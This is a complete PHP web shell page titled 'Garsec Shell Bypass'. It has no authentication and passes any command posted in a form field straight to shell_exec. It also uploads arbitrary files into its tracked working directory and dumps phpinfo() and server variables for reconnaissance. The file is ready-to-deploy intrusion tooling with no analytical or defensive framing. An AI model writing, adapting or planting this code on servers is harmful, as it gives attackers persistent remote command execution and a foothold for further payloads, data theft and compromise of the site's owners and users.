<!DOCTYPE html>
<html>
<head>
    <title>Garsec Shell Bypass</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f4f4f4;
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: space-between;
        }
        .container {
            width: 70%;
            margin: 50px auto;
            padding: 20px;
            background-color: #fff;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
            border-radius: 8px;
        }
        .sidebar {
            width: 25%;
            margin: 50px 0;
            padding: 20px;
            background-color: #fff;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
            border-radius: 8px;
        }
        h1 {
            text-align: center;
            color: #333;
        }
        form {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 8px;
            color: #555;
        }
        input[type="text"] {
            width: 100%;
            padding: 10px;
            margin-bottom: 10px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            display: inline-block;
            padding: 10px 20px;
            color: #fff;
            background-color: #007BFF;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        button:hover {
            background-color: #0056b3;
        }
        pre {
            background-color: #f4f4f4;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 4px;
            white-space: pre-wrap;
            word-wrap: break-word;
        }
        .result {
            margin-top: 20px;
        }
        .menu {
            margin-bottom: 20px;
        }
        .menu button {
            width: 100%;
            margin-bottom: 10px;
            text-align: left;
        }
        .hidden {
            display: none;
        }
    </style>
</head>
<body>
    <div class="sidebar">
        <h2>Menu</h2>
        <div class="menu">
            <button onclick="toggleSection('uploadSection')">Upload File</button>
            <button onclick="showPhpInfo()">PHP Info</button>
            <button onclick="showServerInfo()">Server Info</button>
        </div>
    </div>

    <div class="container">
        <h1>PHP Webshell</h1>
        <form method="post" enctype="multipart/form-data">
            <label for="cmd">Command:</label>
            <input type="text" name="cmd" id="cmd" required>
            <button type="submit">Execute</button>
        </form>

        <div id="uploadSection" class="hidden">
            <form method="post" enctype="multipart/form-data">
                <label for="file">Upload File:</label>
                <input type="file" name="file" id="file">
                <button type="submit" name="upload">Upload</button>
            </form>
        </div>

        <div id="phpInfoSection" class="hidden">
            <h2>PHP Info</h2>
            <?php
            ob_start();
            phpinfo();
            $phpinfo = ob_get_clean();
            echo "<pre>$phpinfo</pre>";
            ?>
        </div>

        <div id="serverInfoSection" class="hidden">
            <h2>Server Info</h2>
            <pre><?php echo htmlspecialchars(print_r($_SERVER, true), ENT_QUOTES, 'UTF-8'); ?></pre>
        </div>

        <?php
        session_start();

        // Set initial directory to the directory where the script is located
        if (!isset($_SESSION['cwd'])) {
            $_SESSION['cwd'] = __DIR__;
        }

        // Change to the current working directory
        chdir($_SESSION['cwd']);

        // Initialize result variable
        $result = "";

        // Check if directory change is requested
        if (isset($_POST['cmd'])) {
            $cmd = $_POST['cmd'];
            if (substr($cmd, 0, 2) === 'cd') {
                $dir = trim(substr($cmd, 2));
                if (is_dir($dir)) {
                    chdir($dir);
                    $_SESSION['cwd'] = getcwd();
                } else {
                    $result = "Directory does not exist: $dir";
                }
            } else {
                $result = shell_exec($cmd);
            }
        }

        // Handle file upload
        if (isset($_POST['upload'])) {
            $target_dir = $_SESSION['cwd'];
            $target_file = $target_dir . '/' . basename($_FILES["file"]["name"]);
            if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
                $result = "File uploaded successfully: $target_file";
            } else {
                $result = "File upload failed.";
            }
        }

        echo "<pre>Current Directory: " . $_SESSION['cwd'] . "</pre>";
        ?>

        <div class="result">
            <?php if (!empty($result)): ?>
                <pre><?php echo htmlspecialchars($result, ENT_QUOTES, 'UTF-8'); ?></pre>
            <?php endif; ?>
        </div>
    </div>

    <script>
        function toggleSection(sectionId) {
            var section = document.getElementById(sectionId);
            if (section.classList.contains('hidden')) {
                section.classList.remove('hidden');
            } else {
                section.classList.add('hidden');
            }
        }

        function showPhpInfo() {
            document.getElementById('phpInfoSection').classList.remove('hidden');
            document.getElementById('serverInfoSection').classList.add('hidden');
            document.getElementById('uploadSection').classList.add('hidden');
        }

        function showServerInfo() {
            document.getElementById('serverInfoSection').classList.remove('hidden');
            document.getElementById('phpInfoSection').classList.add('hidden');
            document.getElementById('uploadSection').classList.add('hidden');
        }
    </script>
</body>
</html>
